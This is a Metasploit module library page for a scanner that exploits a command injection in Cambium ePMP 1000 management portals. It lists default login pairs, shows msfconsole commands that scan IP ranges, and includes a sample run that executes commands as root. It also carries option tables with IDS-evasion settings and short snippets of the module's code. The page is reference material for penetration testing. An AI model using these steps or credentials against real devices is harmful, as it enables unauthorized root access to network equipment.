Cambium ePMP 1000 'ping' Command Injection (up to v2.5) - Metasploit
This page contains detailed information about how to use the auxiliary/scanner/http/epmp1000_ping_cmd_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Cambium ePMP 1000 'ping' Command Injection (up to v2.5)
Module: auxiliary/scanner/http/epmp1000_ping_cmd_exec
Source code: modules/auxiliary/scanner/http/epmp1000_ping_cmd_exec.rb
Disclosure date: -
Last modification time: 2019-08-15 18:10:44 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: -
This module exploits an OS Command Injection vulnerability in Cambium ePMP 1000 (<v2.5) device management portal. It requires any one of the following login credentials - admin/admin, installer/installer, home/home - to execute arbitrary system commands.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
This module is a scanner module, and is capable of testing against multiple hosts.
msf > use auxiliary/scanner/http/epmp1000_ping_cmd_exec
msf auxiliary(epmp1000_ping_cmd_exec) > show options
... show and set options ...
msf auxiliary(epmp1000_ping_cmd_exec) > set RHOSTS ip-range
msf auxiliary(epmp1000_ping_cmd_exec) > exploit
Other examples of setting the RHOSTS option:
Example 1:
msf auxiliary(epmp1000_ping_cmd_exec) > set RHOSTS 192.168.1.3-192.168.1.200
Example 2:
msf auxiliary(epmp1000_ping_cmd_exec) > set RHOSTS 192.168.1.1/24
Example 3:
msf auxiliary(epmp1000_ping_cmd_exec) > set RHOSTS file:/tmp/ip_list.txt
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
This module exploits an OS Command Injection vulnerability in Cambium ePMP 1000 (<v2.5) device management portal. It requires any one of the following login credentials to execute arbitrary system commands:
- admin/admin
- installer/installer
- home/home
Verification Steps
- Do:
use auxiliary/scanner/http/epmp1000_cmd_exec
- Do:
set RHOSTS [IP]
- Do:
set RPORT [PORT]
- Do:
run
Scenarios
msf > use auxiliary/scanner/http/epmp1000_cmd_exec
msf auxiliary(epmp1000_cmd_exec) > set rhosts 1.3.3.7
msf auxiliary(epmp1000_cmd_exec) > set rport 80
msf auxiliary(epmp1000_cmd_exec) > run
[+] 1.3.3.7:80 - Running Cambium ePMP 1000 version 2.2...
[*] 1.3.3.7:80 - Attempting to login...
[+] SUCCESSFUL LOGIN - 1.3.3.7:80 - "installer":"installer"
[*] 1.3.3.7:80 - Executing id; pwd
uid=0(root) gid=0(root)
/www/cgi-bin
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Go back to menu.
Msfconsole Usage
Here is how the scanner/http/epmp1000_ping_cmd_exec auxiliary module looks in the msfconsole:
msf6 > use auxiliary/scanner/http/epmp1000_ping_cmd_exec
msf6 auxiliary(scanner/http/epmp1000_ping_cmd_exec) > show info
Name: Cambium ePMP 1000 'ping' Command Injection (up to v2.5)
Module: auxiliary/scanner/http/epmp1000_ping_cmd_exec
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by:
Karn Ganeshen <[email protected]>
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
CMD id; pwd yes Command(s) to run
PASSWORD installer yes A specific password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
THREADS 1 yes The number of concurrent threads (max one per host)
USERNAME installer yes A specific username to authenticate as
VERBOSE true yes Whether to print output for all attempts
VHOST no HTTP server virtual host
Description:
This module exploits an OS Command Injection vulnerability in
Cambium ePMP 1000 (<v2.5) device management portal. It requires any
one of the following login credentials - admin/admin,
installer/installer, home/home - to execute arbitrary system
commands.
References:
http://ipositivesecurity.com/2015/11/28/cambium-epmp-1000-multiple-vulnerabilities/
https://support.cambiumnetworks.com/file/476262a0256fdd8be0e595e51f5112e0f9700f83
Module Options
This is a complete list of options available in the scanner/http/epmp1000_ping_cmd_exec auxiliary module:
msf6 auxiliary(scanner/http/epmp1000_ping_cmd_exec) > show options
Module options (auxiliary/scanner/http/epmp1000_ping_cmd_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
CMD id; pwd yes Command(s) to run
PASSWORD installer yes A specific password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
THREADS 1 yes The number of concurrent threads (max one per host)
USERNAME installer yes A specific username to authenticate as
VERBOSE true yes Whether to print output for all attempts
VHOST no HTTP server virtual host
Advanced Options
Here is a complete list of advanced options supported by the scanner/http/epmp1000_ping_cmd_exec auxiliary module:
msf6 auxiliary(scanner/http/epmp1000_ping_cmd_exec) > show advanced
Module advanced options (auxiliary/scanner/http/epmp1000_ping_cmd_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
MaxGuessesPerService 0 no Maximum number of credentials to try per service instance. If set to zero or a non-number, this option will not be used.
MaxGuessesPerUser 0 no Maximum guesses for a particular username for the service instance. Note that users are considered unique among different services, so a user at 10.1.1.1:22
is different from one at 10.2.2.2:22, and both will be tried up to the MaxGuessesPerUser limit. If set to zero or a non-number, this option will not be use
d.
MaxMinutesPerService 0 no Maximum time in minutes to bruteforce the service instance. If set to zero or a non-number, this option will not be used.
PASSWORD_SPRAY false yes Reverse the credential pairing order. For each password, attempt every possible user.
REMOVE_PASS_FILE false yes Automatically delete the PASS_FILE on module completion
REMOVE_USERPASS_FILE false yes Automatically delete the USERPASS_FILE on module completion
REMOVE_USER_FILE false yes Automatically delete the USER_FILE on module completion
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
ShowProgress true yes Display progress messages during a scan
ShowProgressPercent 10 yes The interval in percent that progress should be shown
TRANSITION_DELAY 0 no Amount of time (in minutes) to delay before transitioning to the next user in the array (or password when PASSWORD_SPRAY=true)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the scanner/http/epmp1000_ping_cmd_exec module can do:
msf6 auxiliary(scanner/http/epmp1000_ping_cmd_exec) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the scanner/http/epmp1000_ping_cmd_exec auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(scanner/http/epmp1000_ping_cmd_exec) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<RHOST>:<RPORT> - Failed to execute command(s).
Here is a relevant code snippet related to the "<RHOST>:<RPORT> - Failed to execute command(s)." error message:
84:
85: if good_response
86: path = store_loot('ePMP_cmd_exec', 'text/plain', rhost, res.body, 'Cambium ePMP 1000 Command Exec Results')
87: print_status("#{rhost}:#{rport} - Results saved in: #{path}")
88: else
89: print_error("#{rhost}:#{rport} - Failed to execute command(s).")
90: end
91: end
92:
93: #
94: # Login & initiate cmd_exec
This ePMP version is not vulnerable. Module will not continue.
Here is a relevant code snippet related to the "This ePMP version is not vulnerable. Module will not continue." error message:
99: cookie, _blah1, _blah2, _blah3, config_uri_ping = login_1(datastore['USERNAME'], datastore['PASSWORD'], epmp_ver)
100: if cookie == 'skip' && config_uri_ping == 'skip'
101: return
102: else
103: cmd_exec(config_uri_ping, cookie)
104: end
105: else
106: print_error('This ePMP version is not vulnerable. Module will not continue.')
107: end
108: end
109: end
Go back to menu.
Related Pull Requests
- #12205 Merged Pull Request: Update module and generate splats from http:// to https://
- #9316 Merged Pull Request: Cambium modules
References
- CVE: Not available
- http://ipositivesecurity.com/2015/11/28/cambium-epmp-1000-multiple-vulnerabilities/
- https://support.cambiumnetworks.com/file/476262a0256fdd8be0e595e51f5112e0f9700f83
See Also
Check also the following modules related to this module:
- auxiliary/scanner/http/epmp1000_dump_config
- auxiliary/scanner/http/epmp1000_dump_hashes
- auxiliary/scanner/http/epmp1000_get_chart_cmd_exec
- auxiliary/scanner/http/epmp1000_reset_pass
- auxiliary/scanner/http/epmp1000_web_login
- auxiliary/scanner/snmp/epmp1000_snmp_loot
- exploit/unix/http/epmp1000_get_chart_cmd_shell
- exploit/unix/http/epmp1000_ping_cmd_shell
- auxiliary/admin/emc/alphastor_devicemanager_exec
- auxiliary/admin/emc/alphastor_librarymanager_exec
- auxiliary/admin/http/cnpilot_r_cmd_exec
- auxiliary/admin/http/hp_web_jetadmin_exec
- auxiliary/admin/http/jboss_seam_exec
- auxiliary/admin/http/linksys_e1500_e2500_exec
- auxiliary/admin/http/linksys_wrt54gl_exec
- auxiliary/admin/maxdb/maxdb_cons_exec
- auxiliary/admin/mssql/mssql_exec
- auxiliary/dos/http/tautulli_shutdown_exec
- auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec
- auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec
- auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec
- auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec
- auxiliary/scanner/telnet/satel_cmd_exec
- auxiliary/scanner/http/wordpress_pingback_access
- auxiliary/scanner/discovery/ipv6_multicast_ping
- auxiliary/scanner/mssql/mssql_ping
- auxiliary/scanner/nessus/nessus_xmlrpc_ping
- auxiliary/scanner/sap/sap_soap_rfc_ping
- auxiliary/scanner/winrm/winrm_cmd
- auxiliary/scanner/rservices/rexec_login
- auxiliary/scanner/smb/impacket/dcomexec
- auxiliary/scanner/smb/impacket/wmiexec
- auxiliary/scanner/smb/psexec_loggedin_users
- auxiliary/scanner/ssh/apache_karaf_command_execution
Authors
- Karn Ganeshen <KarnGaneshen[at]gmail.com>
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
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